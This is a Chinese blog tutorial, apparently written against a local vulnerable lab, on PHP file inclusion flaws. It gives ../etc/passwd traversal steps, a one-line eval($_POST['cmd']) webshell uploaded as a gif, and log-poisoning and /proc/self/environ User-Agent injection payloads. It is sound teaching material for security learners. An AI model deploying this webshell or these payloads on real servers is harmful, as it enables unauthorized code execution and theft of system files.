【网络安全】文件包含漏洞

文件包含漏洞原理

文件包含漏洞是指,程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这重文件调用的过程一般被称为文件包含。在引用文件时,引用到了预期之外的文件,就可能会导致文件泄露和恶意的代码注入,此时就会造成文件包含漏洞。

文件包含漏洞经常出现的函数

include() #执行包含文件时,找不到被包含的文件时,脚本讲继续执行
require() #执行到包含文件时,找不到被包含的文件,脚本会继续运行
include_once()和require_once() #只加载一次包含文件,第二次加载不读取

尝试查看etc/passwd敏感文件

  1. url输入…/etc/passwd
  2. 每次多加一个…/尝试获取

在这里插入图片描述

渗透过程

上传phpinfo和webshell到服务器并使用工具连接
  1. 创建phpinfo和webshell文件
<?php phpinfo();eval($_POST['cmd']);?>

在这里插入图片描述
2. 通过文件上传传到服务器中
在这里插入图片描述

  1. 获取图片地址
    在这里插入图片描述

拼接地址为:http://192.168.0.106/06/vul/unsafeupload/uploads/11.gif

在这里插入图片描述
4. 利用文件上传漏洞访问此文件(拼接地址)
在这里插入图片描述
在这里插入图片描述
5. 上传webshell并使用菜刀连接
此步骤不在演示
详见: https://blog.csdn.net/qq_41158271/article/details/130032523

其他方式

包含日志文件getshell

原理:
中间件例如 iis 、apache、nginx 这些 web 中间件,都会记录访问日志,如果访问日志中或错误日志中,存在有 php 代码,也可以引入到文件包含中。如果日志有 php 恶意代码,也可导致 getshell。

linux 默认的 apache 日志文件路径是

访问日志 /var/log/apache2/access.log
错误日志 /var/log/apache2/error.log

1.输入内容

http://192.168.0.106/06/vul/fileinclude/fi_local.php?<?php phpinfo();?>

在这里插入图片描述
2. 存在编码,使用bp绕过

在这里插入图片描述
在这里插入图片描述

3.文件包含漏洞位置输入此日志位置,利用此漏洞(权限不够,不进行演示)

在这里插入图片描述

包含环境变量getshell

原理:/proc/self/environ 这个文件里保存了系统的一些变量,我们通过修改头文件User-agen属性达成把phpinfo写入到/proc/self/environ文件中

  1. bp抓包修改User-agen属性

在这里插入图片描述

在这里插入图片描述

  1. 文件包含漏洞位置输入此日志位置,利用此漏洞(权限不够,不进行演示)
  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值